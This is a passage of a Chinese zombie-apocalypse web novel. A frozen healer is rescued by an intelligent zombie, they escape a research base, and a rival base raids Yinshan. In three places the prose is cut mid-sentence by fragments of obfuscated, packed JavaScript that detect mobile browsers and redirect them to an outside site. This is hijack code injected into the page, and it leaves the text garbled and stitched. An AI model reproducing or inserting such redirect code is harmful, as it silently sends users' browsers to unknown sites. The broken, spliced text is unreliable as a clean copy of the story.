“出现丧尸以来,我们一直在研究让人类进化成‘新人类’的办法,所谓新人类,就是拥有自我意识的丧尸。我们一直在做人类与丧尸的融合实验,多亏你的能力帮助,研究已经进入新阶段了。” 本以为之前做的特效药会成功,然而吃下样品的志愿者们的不仅失去了理智,仍旧保持着人类的身体素质,行动却与丧尸无异。他们怕被贫民区的人察觉到丧尸药的真相,就让阿霓暗中给这些人喂了致死量毒药,本以为这些人会直接死去,然而他们却只变成了植物人。这之后,人类与丧尸的融合实验一直无法顺利完成,根源在于人类的身体过于脆弱,融合实验进行到一半就会死去,直到池遥到来,她的能力正好帮他们攻克了难关。 现在,他们终于要成功了,融合了池遥的细胞之后,他们很快就会制造出完美的新人类! 72. 隐山秘闻5 好消息。 这些人还需要她的细胞做实验,短期内池遥并没有生命危险。 坏消息。 发现池遥在低温状态下还是会自主醒来后,Lee博士一直在不断调整冷冻柜内温度,每一次打开柜门发现她还清醒后,柜内的温度就会变得更低。 因此,池遥总是昏昏欲睡,这并非正常的犯困,而是被冻晕了,幸好她的身体素质远超普通人,每一次晕眩后都能顺利醒来,清醒时也感受不到自己的身体,不必忍受痛苦。 即便此处没有屏蔽仪,只要感知不到自己的手,池遥就使用不了能力。 自然,也无法逃跑。 一天二十四小时,受低温的影响,池遥保持清醒的时间只剩几个小时,醒来的时候,她会在脑海中仔细梳理一下这个世界的情况。 然而,她所知道的还是太少了,她不愿暴露旅人的身份,因此这个世界很多人尽皆知的事,她无法刨根问底地去问,只能靠自己主观猜测。 更多的时间,她会陷入沉睡之中。 这天,池遥正在发呆,忽然听到外界传来嘈杂的声音。 她现在所在的地方并不是Lee博士等人做实验的场所,似乎只是一个储物室,周围十分安静,只有在研究员来检查她的时候,才会听到脚步声。 然而,这一次,她却听到了巨大的撞击声。 那声音越来越近,远处似乎也变得混乱起来,池遥闭着眼睛,仔细听着外界的动静,突然之间,眼前骤然一亮! 她所在的冷冻柜被人打开了! 打开冷冻柜的是一位一身黑袍的青年,或许是一路闯到此处,身上满是灰尘,但他身形修长,五官英俊又矜贵,并不显得狼狈。 没有一丝犹豫,青年打开冷柜后直接伸手,一把砍断束缚她的铁链,将池遥从柜里捞了出来。 他毫不惧怕池遥身上的寒气,抱着她靠坐在门边,在池遥耳边轻声说道: “治疗系能力者,能听到吗?” 池遥说不出话,只能眨眨眼。 “有意识就行,我受伤了,麻烦帮忙治疗一下,作为回报我会把你带出去。” 青年说话语速极快,一边说,目光一边注视着门外的情况。 池遥也注意到了,在发现有人闯入研究基地后,研究员们的第一反应是逃跑,并且封锁了他们所在的楼层。 池遥此时还没恢复,感受不到自己的手。等了一会儿,发现她没有动作,青年又转过头看她。 池遥说不出话,只能尽可能的垂下目光,看着自己的手。 “手?” 青年问。 池遥眨眨眼。 青年用两只手包住池遥的一只手,他此时看出池遥的冻伤很严重,帮她暖手,但他的手出奇冰冷,与池遥身上的温度不相上下,这种办法作用微乎其微。没过一会儿,青年似乎也意识到这点,隔着他的衣料,用力揉搓起池遥的手来。 这次的办法很快奏效,没过一会,池遥的手就恢复了知觉。 她感知了一下自己的能力,直到现在,过了好几天,她的能力仍旧只恢复了一点点,给自己治疗远远不够,还不如先帮眼前的人治疗。 她的手微微动了一下,青年立刻明白了,小心翼翼捧起她的手,让她的掌心与他的手掌交叠在一起。 池遥先是放出一点点能力,检查了一下青年的伤势,然而,与众不同的感受却让她瞬间瞪大了眼,惊愕地看向青年。 “你,是......”她挣扎着发出声音。 “是丧尸。”青年神色自若地补足她的话,“丧尸没法治吗?” 好像可以治,池遥又输送了一些能力。 神奇的是,在她原本的世界,她的能力对丧尸根本不起作用,然而到了这个世界,她的能力却可以治疗丧尸了! 对方的伤势很严重,但都是外伤,池遥治好了他身上大半伤势,忽然听到一声脆响。 不知何时,整个房间数百个冷冻柜柜门全部打开,每一个冷冻柜里,都关着一只丧尸。 而此时,它们已经全部复苏。 池遥本以为这些冷冻柜全是用来关她这种能力者的,此时才知道,整个房间内,除了她以外全是丧尸!她此时毫无战斗力,立刻看向面前的丧尸青年。 “好家伙,用丧尸对付我啊。”青年似乎看到了极其好玩的事,低头闷闷地笑了一会儿,任由众多丧尸将他们包围,随后,青年抬起手,打了一个清脆的响指。 响指声响彻整个房间,一瞬间,房间内的丧尸全部停止了行动。 “简直是瞌睡了有人送枕头,还送这么一大堆,我就笑纳了。”青年站起身,眉眼带着笑意,一挥手,就有大片丧尸倒地。 “等等!” 池遥阻止了想要继续出手的青年。 在发现自己的能力可以治疗丧尸后,池遥立刻有了一个想法。 既然可以治疗丧尸,那么应该也可以抽取丧尸的生命力吧? 她的能力近乎枯竭,现在急需要抽取生命力来补充。 “怎么了?”青年回头看她。 池遥指了指距离他们最近的一个站立着的丧尸,又晃了晃自己的手。 “你想治疗他?”青年很快理解,虽然理解有偏差,但池遥听后猛眨眼。 于是,青年重新抱起池遥,来到丧尸边上,举起她的手,贴在丧尸身上。 很快,他就看到面前的丧尸以肉眼可见的速度迅速干瘪了下去,而池遥立刻用抽取到的生命力为自己治疗。 尽管可以抽取丧尸的生命力,但抽取到的生命力并不多,很快,池遥如法炮制,每抽取一个丧尸的生命力,就全部输送到自己身上,重复了五六次,总算把自己完全治愈了。 青年站在门口等她,见池遥完全恢复后,才问:“走吧?” 池遥点点头,她此时还穿着无菌服,浑身上下衣不蔽体,脖子上也空空荡荡的,她此时最想做的事不是离开,而是把自己的空间吊坠找回来。 “我要去一趟他们的实验室,销毁过去的实验资料,你呢?”青年问她。 “我跟你一起,把我的衣服找回来。”池遥冲他点点头。 打开房门,埋伏在走廊里的丧尸又一次冲了出来,青年轻嗤一声,转瞬之间就定住了所有丧尸,轻车熟路地带着池遥向前走。 这里并不是池遥熟知的地下一层,整个走廊没有窗户,温度很低,她猜测这里是更深层的地下。 青年带着池遥来到资料室,打开电脑,把可操控的电脑和电子设备全部初始化,然后开始翻找纸质文件资料。 “你对这里很熟悉?”池遥不知道他在找什么,只能帮他把他看完的资料撕碎,他的动作十分有条理,翻找文件时动作熟练,显然对这里很熟悉。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16530823|177659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “嗯。”青年点点头,“他们研制的丧尸病毒,有些是从我身上提取的,严格意义上,刚刚被放出来拦截我们的丧尸,都是我的血脉。” “什么?” “我以前也被他们抓进来过。”青年侧头看向她,冲她露出一个同病相怜的苦笑,“也躺过一段时间冷冻柜。” 池遥一时间不知道该说些什么。 她对面的青年实在太正常了,浑身上下找不出一丝丧尸的痕迹,她也不愿把他看做丧尸。 “他们之前研究的所有和丧尸有关的资料都是从我身上得出结论的,这些资料会暴露我的存在,统统都要销毁,还有你也是,记得找找你的资料,能销毁的尽量都销毁掉。” 池遥点点头,在资料室找了一圈,却没有发现任何和她有关的资料。 之后,他们又去了几间实验室,销毁了全部资料,池遥在一间杂物间找到了自己的衣物和空间吊坠,神奇的是,空间吊坠内的物品完好无损,她换完衣服出来,看到青年拧着眉头销毁掉最后一部分资料。 “我销毁了所有和我有关的资料,但没有找到你的。”他叹了口气,“可能是他们撤离的时候带走了你的研究资料,这不是件好事。” 池遥点点头,跟着青年来到了走廊尽头,这里只有一个空荡荡的透明电梯井,却看不到电梯厢的影子。 “这里是基地最底层,只能通过电梯到达,一旦电梯移到楼上,我们就只能被困死在地下。” 青年思考了几秒,忽然走到池遥面前,背对着她微微俯身。 “我背着你,从这里爬上去。” 池遥点头,趴到了青年背上,下一秒,只见青年的双手指甲瞬间生长,指尖如同利爪般尖利,他一抬手,砸烂了电梯门,直接进入电梯井当中,手脚并用,在光滑的墙壁上快速攀爬起来。 这一瞬间,他似乎彻底摒弃了人性,四肢并用的动作如同一头矫健的猛兽。池遥看得惊心动魄,双臂紧紧抱着他的脖子,生怕被甩下去。 很快,他又徒手砸烂了负一层的电梯门,快速穿过走廊,身形快得只留下一串残影,从楼梯跑上了楼。 一到负一层,池遥就发现,负一层似乎还有几位研究员在此停留,不止如此,到了一楼后,他们才发现,楼上的人似乎完全没意识到最底层已经被人入侵,气氛还和平日里一样和谐融洽。 幸好青年的速度实在太过迅速,根本不像是人类能够达到的速度。在被人注意到之前,就冲进了洗手间,打开一楼洗手间的窗户,钻了出去。 “我们去哪儿?” 池遥在他背上问道。 来到隐山后,池遥也试图寻找过离开的路,然而,始终没有找到从这里通往外界的通道。 这里仿佛被无形的屏障包围,外来的人可以轻松进入,可里面的人想要出去却不容易。 “去楼顶。” 青年翻出大楼,沿着厕所窗外的水管快速攀爬到楼顶,他的速度又快又熟练,仅仅几秒就到了楼顶,这期间根本没有人注意到他的身影。 池遥从他的背上下来,在楼顶找了个地方坐下来,这栋大楼看着高,实际上也不过六七层,只是被周边一二层的房子衬托得十分高大,他们坐在楼顶,整个隐山的全景一览无余。 “自我介绍一下,我叫霍云初。” 池遥回过头,看到身旁的青年朝她弯了弯眼睛。 73. 隐山秘闻6 霍云初与池遥印象中的丧尸截然不同。他完全没丧失理智,态度十分亲切,原本外形就十分优越,笑起来更是如沐春风。 被他那双流光溢彩的眸子注视的时候,会让人忍不住产生将一切都倾诉出来的渴望。 “我叫池遥。”池遥同样告知了对方自己的名字,这一次,她毫无保留的告知对方自己的身份,“是治疗能力者,也是一个旅人。” “旅人?”霍云初抓住了她话语中的重点,神色却有些茫然,好看的眉头微微下垂,“这是什么意思?” 于是,池遥将和世界真相有关的一切全部告知于他。 听完池遥漫长的讲述,青年垂着眼睛,好一会儿没说话,许久,用探究的语气问她:“如果真像你说的那样,池遥,你觉得我可以看到所谓的‘景点’吗?” 这个问题池遥也没有想过。 在殷蘅的叙述中,景点是只有能力者可以进入的独立空间,然而霍云初同样拥有能力,本质却属于丧尸,那么,他属于能力者吗? 池遥上上下下将他打量一番,思考一会儿,摘下脖颈上的吊坠递给他。 “这是只有能力者才能使用的道具,你试试看能不能使用。” 霍云初略显苍白的手指把玩着吊坠,没过一会儿,就将吊坠归还给了池遥,冲她摇头。 在他眼里,这就是个普通吊坠。 两人都沉默下来,池遥隐约察觉到他的神色有些阴沉,幸好很快,霍云初又恢复了温和模样,主动开口。 “所以你是刚刚来到这个世界的,一来到隐山就被关进实验室了?” 池遥苦着脸,满是怨念地点头。 “那你大概还不知道这个世界的事。”霍云初沉吟片刻,缓声向池遥讲述起了这个世界的情况。 “丧尸爆发是在半年前的事情,至少这件事彻底爆发已经有半年了。” 在这个世界众人的认知当中,丧尸爆发是在半年前,只不过,在霍云初看来,第一次变异潮,是丧尸爆发前一个月的事。 丧尸爆发前一个月,全世界范围内爆发了大型流感,将近五分之一的人开始发高烧,人事不省,这场病传染性极强,他们所在的H国反应迅速,隔离了众多病患,才算是勉强阻断了传染,但还是有不少人被家人朋友传染。 整整一个月,最早一批发高烧的病患无人死亡,但也无人痊愈,持续不断的高烧让他们的意识变得浑浑噩噩,卧床不起,治疗进程滞涩。 后来,逐渐出现了几个死亡病例,然而,它们在宣判死亡的几个小时后离奇复活,变成了丧尸,很快就被秘密处理掉了,还没有酿成大祸。 然而,几天后,也就是出现新型流感的一个月后,所有病人全部在一夜间变成丧尸。至此,丧尸末日彻底爆发。 H国高层反应迅速,一时之间,大城市以财阀大家族为首,中小城市在部队,公职人员组织下,迅速重新组建成一个个避难所和临时基地,众人齐心协力对抗丧尸。 这个世界的丧尸与池遥故乡的丧尸不同,被丧尸咬和被丧尸抓伤都会被感染为丧尸。这里的丧尸行动更迅速,感官更敏锐,甚至有些具有智力,有些拥有能力,受伤不影响行动,所有丧尸的脑子里都有一颗宝石,唯一一个彻底杀死丧尸的方法就是捣碎它的脑子,取走脑子中名为晶核的宝石。 人们根据丧尸脑子中晶核的形状给不同丧尸起了名字,一阶丧尸是最普遍的丧尸,晶核是不到指甲盖大的三角形;二阶丧尸在速度和力量方面都远超一阶丧尸,很难对付,晶核呈水滴形;三阶丧尸的体能与二阶丧尸类似,但却具有不同能力,是当时最为强大的丧尸,晶核呈椭圆形。 丧尸数量众多,是杀不完的,因此,钱币彻底贬值,新的交易媒介变成了晶核。 然而,两个月后,第二次变异潮爆发了,幸存者中三分之一的普通人再次发起高烧,有些人很快退烧,病情痊愈,也有些人连续高烧几天后再次变异成了丧尸。这一次变异潮给所有避难所造成了重大打击,同时,这场变异潮过后,末日格局再度发生了变化。 第一次变异潮没波及到的动物们也进行了变异,变成了有之前几倍大小,性情凶猛的变异兽。而且,出现了外形奇怪,犹如人类和动物的混合体的四阶丧尸,以及具有智力的五阶丧尸。同时,能够统领其他丧尸,语言系统完好,能够沟通交流的高等丧尸也出现在了人类眼前,高等丧尸的脑袋里没有晶核,每一个高等丧尸的命脉各不相同,至今还没研究出杀死它们的办法。 “高等丧尸?” 听到这里,池遥的目光直直看向霍云初,按照他的描述,他自己似乎就是高等丧尸。 “对。”霍云初点点头,肯定了自己的身份,继续讲述。 丧尸不停进化,而人类能力者的能力无法增强,因此,几乎所有拥有科技实力的基地都做了相同的决定——努力发展科研,争取以科技的力量武装自己,与丧尸抗衡。 与此同时,为了争夺不多的资源,幸存的几个基地彼此敌对,摩擦剧增。 池遥见到的屏蔽仪,就是新研制出的武器之一,只可惜这种屏蔽仪只能屏蔽人类能力者的能力,无法屏蔽丧尸的能力。 说到屏蔽仪,池遥身旁的青年深深叹了一口气,眼神有几分意味深长。 “但是......谁知道这种东西是怎么研制出来的呢。” 语气讽刺。 “那你呢?”池遥问,“你是怎么变成丧尸的?” “说起来,我也许是第一只高等丧尸吧。”霍云初苦笑一声,娓娓道来。 和池遥的猜测一样,霍云初出身不凡,霍家是首都数一数二的权贵家族,作为这一代的独子,霍云初可谓是生于罗马,集万千宠爱于一身。 “倒也不用从出生开始讲起吧?” 池遥不爱听别人炫富,蹙眉吐槽。 “我是不是还得叫您一声少爷?” 霍云初讪笑一声,加快了语速。 小学时,霍云初曾遭到绑架,这之后一直接受专业的空手道,散打等课程教育,身手远超同龄人。 第一次变异潮正赶上霍云初在世界排名前五大学读研的暑假,他当时正在一个北方村庄里做调查,整天把自己关在屋子里写论文,小村子里人口不过百人,彼此之间沾亲带故,除了霍云初之外,几乎全村人都感染了流感。 正因如此,丧尸爆发时,霍云初防不胜防,一出门就惨遭丧尸围堵,第一时间被感染成丧尸。 他凭借着最后的毅力,回到自己的房间里,反锁屋门,静静等待自己的变异。 然而,变成丧尸后,他的意识仍旧十分清晰,身体并未产生任何怪异的感觉。 一天后,饥肠辘辘的他发现人类的速食已经无法满足变成丧尸后的自己,只好离开家门,去往人类聚居地觅食。 一路上,他发现他可以驱策路边的丧尸,可以抽取三阶丧尸的能力供自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16541390|177659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 使用,遇到人类时,他无需亲自动手,他抽取到的能力可以隔空抽取人类体内的一点血液,让自己不至于饿到失去理智。 渐渐的,他还发现他的血液可以让人类变成高等丧尸,还能让普通丧尸变得更强。 起初,他的自我认知更倾向于人类,为了谨记自己的身份,也为了食物,他频繁与人类交流,混入人类聚集地也不会被发现,这样的生活持续了很久很久。 直到第二次变异潮结束后,人类发现了高等丧尸的存在,研制出了丧尸检测仪器,霍云初的身份才彻底暴露。 他很快遭到了抓捕,没有全力反抗的后果就是被送到了隐山研究基地,被冷冻起来,被当成实验品长达一个多月。 就在池遥来到隐山的几天前,霍云初终于找到机会逃出了隐山,离开没几天,为了销毁自己的研究资料,又原路返回,暗中潜入隐山,等待一个时机销毁所有资料。 他的故事讲完了。 池遥盯着他举手投足都带着尊贵气质的脸,思考一会儿,问道:“所以,出生于权贵家族,这一代独子,世界排名前五大学,这些元素在这个故事中起到什么作用?” “呃,锦上添花的作用?”霍云初歪头冲池遥友善地笑笑,“我不是在炫耀。我的意思是,我做人类的岁月虽然不长,但已经过得很好,很充实了,没什么遗憾。” “所以千万不要因为我现在的身份可怜我。” 池遥惊讶地瞪大眼睛。 怎么可能可怜他? 据霍云初所讲,他成为高等丧尸后,一路上掌握了数十种能力,全都是从三阶丧尸身上抽取来的,这么恐怖又强悍的实力,有什么可怜的? “你为什么觉得我会可怜你?”她好奇问。 “因为,之前你看我的眼神。” “什么时候?” “我用不了你的吊坠的时候,你的表情有点难过。”霍云初冲她安慰般笑笑。 那个时候,池遥的确有些遗憾。 明明同样拥有能力,在池遥看来与能力者没有什么差异,然而霍云初却无法穿越到其他世界,也无法使用道具,看不到景点的存在。 他的身份在这个世界完全是一个异类,若是能去到其他世界,或许还能过上相对正常的生活。 只是,这种可能性被彻底扼杀掉了。 池遥想着这些,忽然发现霍云初猛地攥紧了她的手。 伏在顶楼围墙前的他忽然伏身,眉头紧蹙,神色凝重,带动着池遥也跟着一起放低了身体,视线探向了下方。 远处,出现了几辆车的影子。 它们有序地列成一长列,快速朝着大楼驶来,清一色改装过的面包车,让池遥立刻想到一个人。 “林北辰!” 她低声叫出那人的名字。 “你认识他?”霍云初的语气有几分惊讶。 “你也认识?” “他是北方基地的外部巡查队长,一般需要外出完成的工作都是他带队的。” 提到这个人,霍云初的语气并不好。 “北方基地是首都权贵和财阀世家共同建立的基地,就在首都市区内,大部分人我都认识。” 原来是末日前就认识的人。 “那,林北辰是个什么样的人?” “一条狗。”霍云初叹了口气,“准确的说,是一条狼狗。” “一条只忠于某个人,只为一个人做事的狼狗。” 74. 隐山秘闻7 池遥对林北辰的印象并不好。 末日之中,人性泯灭,救人是池遥的选择,她不能强求被救者的感激。 可是林北辰明知隐山有问题,还把她送来隐山,甚至在池遥来到隐山的一周后带着更多手下来到隐山。 看到林北辰的车子,池遥立刻反应过来,自己一定是在某个环节被他利用了。 然而,霍云初的话却更加惊世骇俗,他根本就没有用人类的标准评判林北辰。 她想知道林北辰作为人的品性,而不是作为狗的品种。 霍云初的话实在太奇怪了,池遥听完后还是一头雾水。 “要不然还是讲讲北方基地吧。” 她选择跳过这个话题。 “北方基地大概是现今H国北方城市中最强大的基地了。”霍云初一边思考一边介绍,语速很慢,“毕竟坐落于首都,地理位置好,资源丰富,人才种类也多,其他基地很难同时满足三点。” “北方基地是几个大家族联合掌权建立起来的基地,但我其实没有去过那边,认识我的人太多了。北方基地的掌权家族大概有沈家,林家还有我家,还有哪个家族我就不太知道了。末日初期北方基地是沈家一家掌权,二次变异后融合了周边几个家族的基地,才变成现在的模式。” “沈家是首都最大的财阀家族,这一代有两个儿子。哥哥和我同岁,是家族选定的继承人。弟弟比我小两岁,和林北辰关系很好,林北辰对他非常忠诚。” 说到这里,面包车已经列队停在了富人区前,池遥从上向下观察,忽然发现在富人区侧面的小路内,还有一伙穿着防护服的人在朝着大楼的方向快速前进。 “是幸存者聚集地的人?” 霍云初不由地蹙起眉头,眼神中闪烁着不加掩饰的恨意,露出了厌恶的神色。 “幸存者聚集地?” 听到此话,池遥侧过头看他。 “是丧尸爆发初期最大的人类基地,现在逐渐没落了。”霍云初的声音顿了一下,思考片刻,接着开口道,“我就是被聚集地抓住后送到隐山的。” 池遥立刻明白了他的潜台词,隐山和聚集地有合作,甚至,隐山可能就是聚集地的分支。 林北辰的车队在进入富人区时分成了三流,最前方的两辆车直冲向大楼的方向,在大楼前方不远处停车,剩下的几辆车错开守在贫民区和富人区的出入口, 而此时,大楼前也有了变化。 一队一队池遥从未见过的人,从大楼附近跑了出来,集结在大楼前方,这些人用肉身挡在大楼前方,错落有致地站在不同位置上,从不同角度将整座大楼严密遮挡了起来,而大楼入口前方站着的人数最多。 这些人明显是隐山的能力者,也是见到这些人时,池遥心中陡然一惊,隐山能力者的数量比她想象的还要多,而她在最开始进入隐山,还没有被抓到实验室的时候,却从未见过这么多能力者。 这些人都是从哪儿冒出来的? 贫民区的人们反而没有参与进来,发现异常后,都缩进了各自的平房里,关紧门窗。 停在大楼最前方的面包车熄火,车门打开,众多穿着作战服,戴作战面罩,训练有素的人走下车,列阵站齐。最先下车的人恭敬地拉开副驾驶座的车门。 穿着黑色大衣的林北辰被迎下车,大步走到所有人前方,此时的他气定神闲,唯有一双眼睛散发着凛冽的寒光,目光凌厉,俨然一副将领模样,与池遥印象中穿西装的样子略有不同。 比起训练有素的北方基地等人,隐山的能力者们都是平民,大多数在末世初期就躲在了隐山之中,没有经过系统训练,也没有危机意识,北方基地的车辆入侵到这里,很多人还不知道发生了什么。 池遥与霍云初都不说话了,一起扒在楼顶,观察着楼下的情况。 双方都没先动手,彼此僵持,林北辰虽然走了出来,但也只是站在最前方,点燃了一根香烟慢慢吞吐,他不发话,身后的人也按兵不动,倒是围在大楼前的隐山能力者们有几分躁动,从始至终,包围在大楼前的就只有隐山的能力者们,而Lee博士,关振等穿白大褂的研究员们却一个都没出现,阿霓也不见了踪影。 霍云初等人停车的地方并不是大楼门口,而是距离大楼有段距离的富人区街道内,双方隔着近百米距离,剑拔弩张,在这样的气氛里,林北辰神色自若地吸烟显然是在给对面施压。 与此同时,停在贫民区和富人区出入口的几辆车车门也打开,数量不多却动作迅捷的北方基地入侵者们下了车,一部分人留在原地驻守,另一半人则借着建筑物的遮掩,汇入错综复杂的贫民区小街小巷当中,悄无声息地形成了一个包围圈。 守在大楼前方的能力者们全部被林北辰吸引了视线,无人注意藏在贫民区中的人。 抽完一根烟,林北辰终于动了。 他朝站在他侧后方的下属勾勾手指,双手背在身后,迈步朝医院正门方向走去,步速很慢,穿过富人区,与隐山能力者们的距离不过五十米。 突然之间,他的眼前骤然一亮,一个隐山能力者控制不住出了手,然而,就在他出手时,却骤然与林北辰对上视线。 喉咙仿佛被什么东西罩住,他拼命呼吸,却始终呼吸不到氧气,拼命伸出手去扣挖自己的喉咙,却无济于事,没过一会儿,就憋红了脸,窒息而死。 林北辰漫不经心地收回手,目光在正前方的隐山能力者当中扫视一周,被他盯住的能力者不由地瑟缩起来,无人再主动进攻。 见此情形,林北辰才抬手,示意身旁的下属出声。 “咳咳!” 他身旁的下属将双手盘成筒状,举在面前,轻咳了两声。 在他出声的瞬间,这两声咳声如同KTV内的环绕立体声一般,响彻了整个隐山。人型大喇叭清了清嗓子,确保每个人都能听到声音后,再次发话。 “我们是首都北方基地的外部巡查队,接到消息,本基地内有人滥用特殊道具,请主动上交!” 特殊道具? 池遥捕捉到了熟悉的词汇。 殷蘅告诉过她,特殊道具是只有能力者才能使用的,有特殊效果的物品,大部分来自景点内。 而此时,北方基地却派人堂而皇之的前来此处收缴特殊道具。 林北辰侧身对下属吩咐了一句,紧接着,就听到下属的声音。 “如果拒不上交,我们将会采取必要手段。” 池遥的眼神暗了下去。 隐山在暗中研究人类和丧尸病毒的结合办法,这里显然不是什么好地方。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16544938|177659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 可北方基地公然闯入隐山,摆出入侵的架势明抢一个道具。 也卑鄙透了。 听到这段话,隐山的能力者们没人开口,大多数能力者根本不清楚所谓的特殊道具到底是什么,而少数能力者在听到后半段话后怒不可遏,根本顾不上思考特殊道具是何物。 “你休想!” 终于,有几个能力者猛地出手,向林北辰攻去,其他能力者立刻跟着一起动用了能力。 尽管没经过训练,只是一群乌合之众,但隐山能力者胜在人多,他们的人数是林北辰等人的好几倍,真正动用能力对战起来,虽然敌不过林北辰等人,但也能靠着数量压制一段时间。 “霍云初。” 霍云初看得正认真,忽然听到了池遥的声音。 跟随池遥的视线望去,贫民区的幸存者们开始骚动起来,有不少人偷偷离开了屋子,朝着远离大楼的方向跑去。 池遥和霍云初留在隐山并不是有心看北方基地和隐山对峙的热闹,只是因为不知道离开隐山的办法,此时,看到贫民区的人们纷纷离开,有不少人把家中的病患也带了出来,心下一动。 说不定,可以混在贫民区的普通人当中一同离开。 “我们走吧。”霍云初微微蹲下,示意池遥趴到他背上。 “我的伤已经好了。”池遥婉拒。 然而,霍云初却没动,甚至蹲得更低了一点。 “我能毫发无损地从楼顶跳下去,你能吗?” 她不能。 池遥妥协了,迅速趴到他背上。 霍云初背着池遥从楼顶直接起跳,不借助任何外力,只在着陆时用双手撑一下地面,就迅速掌握平衡,闪到了大楼后门旁。 在霍云初行动的瞬息之间,他们都发现,原本紧闭的后门此时大开着,透过打开的后门,能看到大楼内有些穿着防护服的人正朝内走去,正是幸存者聚集地的人。 这些人在隐山与北方基地对峙时,悄无声息地潜入了大楼内部。 他们究竟想做什么,和池遥二人无关。两人只是朝内看了一眼,紧接着,霍云初就动作迅速地冲进贫民区,绕最狭窄的小路一路前进,躲过埋伏在贫民区内的北方基地人员,去追朝外逃跑的普通人们。 看到幸存者们的身影后,池遥立刻从霍云初身上跳下来,拉着霍云初看了一眼,确定他的确没受伤才拉着他去追幸存者们。 拜池遥几天前到处问曲卓的踪迹所赐,贫民区里的大部分幸存者都对池遥有印象,池遥一路上问了不少人,发现这些人同样不知道隐山的出口,他们只是怕被大楼前的战斗波及,想尽可能跑得远一点。 穿过一个拐角,池遥发现了一个熟悉的身影。 “卢淼!” 她跑到女孩身旁,发现卢淼此时孤身一人,跟在一群幸存者身后。 “你父亲呢?” 池遥问她。 “我背不动他!我听说前面那些人知道离开隐山的出口,想先跟过来看看出口,等找到出口之后用板车带着他逃跑!” 一见到池遥,卢淼就露出看到救星的表情。 “前面那些人知道出口在哪儿?” 池遥看向前面的幸存者们,忽然认出,领头的幸存者正是带领她进入隐山的人! 75. 隐山秘闻8 “隐山的入口和出口都有固定方位,入口并不难找,但出口却很难找到。” 领头的幸存者声音不大,离开贫民区后,他带着众人钻入一个小树林,树林尽头,几棵树之间立着一面巨大的全身镜。 “穿过这个镜子,就可以出去了。” 有一个幸存者跃跃欲试,立刻朝着镜子伸手,没想到他的手一触碰到镜面,居然穿了过去! “真的能过去!” 他哈哈大笑,立刻离开了。 在他之后,幸存者们排队离开。 只有卢淼逆着人流,朝着家的方向狂奔。 “帮她一下吧。” 池遥拉着霍云初,跟在卢淼身后。 “她爸爸变成植物人了,她一个人搬不动。” “你治不了?”霍云初问。 “我也不知道,”池遥一边跑,一边摇头轻声解释道,“我试着使用了能力,但她父亲似乎很健康,感受不到任何不对劲。” 霍云初不接话了,蹙眉思索起来。 追赶卢淼的路上,池遥断断续续把卢淼的事情告诉了霍云初,二人到达卢淼家的时候,卢淼刚到不久,正要朝外面赶,正与池遥撞上。 “我现在出去取板车,你们可以先帮我守着父亲吗?” 池遥本能想要点头,然而此时,霍云初握着池遥的手却猝然收紧了一下。 “我可以看看你父亲的状况吗?” 没等她点头,霍云初抢先温声开口。 于是,卢淼跟着他们再次回到了房间。 霍云初走到房间里,盯着床上的病人看了几秒,脸色越来越差,再次开口时,语气很不客气。 “你知道他去试了什么药吗?” 卢淼茫然地摇摇头,嗫嚅着解释:“研究员们说,是免疫丧尸......” “是让他变成丧尸的药。”霍云初打断了她的话,池遥很少见到他如此不客气的模样,“你父亲现在不是人,已经是个丧尸了。” “如果你想让你父亲活过来的话,我倒是可以帮你,但你父亲就算重新醒来,也只会以丧尸的形态继续生存,再也变不回人类了。” 池遥很少听到霍云初这种压制着怒气的声音,在她看来,虽然和霍云初认识仅仅几个小时,但霍云初是一个很照顾人,情绪也不太外露的人,讲到他以前遭受的事,语气也很温和。 “什么!” 卢淼立刻扑到床上,反复检查着父亲的身体。 “怎么可能是丧尸?他明明看起来就是普通人啊?” “我长得也没问题,乍一看也是普通人类,如果我不主动坦白,你也不知道我是丧尸啊!” 霍云初面无表情道。 池遥对霍云初的印象改变了一点点,不再是骄矜体面的贵公子形象,这人有时候说话很不客气。 “你是丧尸!” 听了他的话,卢淼才反应过来,不禁瞪大眼睛,警惕地盯着霍云初,她习惯性地挡在她父亲的床前,可一想到父亲变成了丧尸,身体不由地发起抖来,她的目光紧接着落到池遥身上,可池遥刚刚还拉着霍云初的手,她对池遥的目光也带上了警戒。 “没事,他是好人,好丧尸。”池遥安慰了卢淼一句,走到床上的病人身边,再次伸手贴在他身上,半晌,皱起眉头,朝霍云初点头。 的确,她之前没有注意到,那时候时间太短,太着急,她只注意到了对方身体健康,却没发现他是个丧尸。 “不止你父亲,我刚刚就注意到了。有不少幸存者身上背着的植物人,都是丧尸。”霍云初面不改色道,“隐山提取出了我身上的丧尸细胞,给这些人试药的时候应该也用到了。他们的丧尸特征很弱,但我能感知到,他们身上有我的病毒。” 池遥明白了。 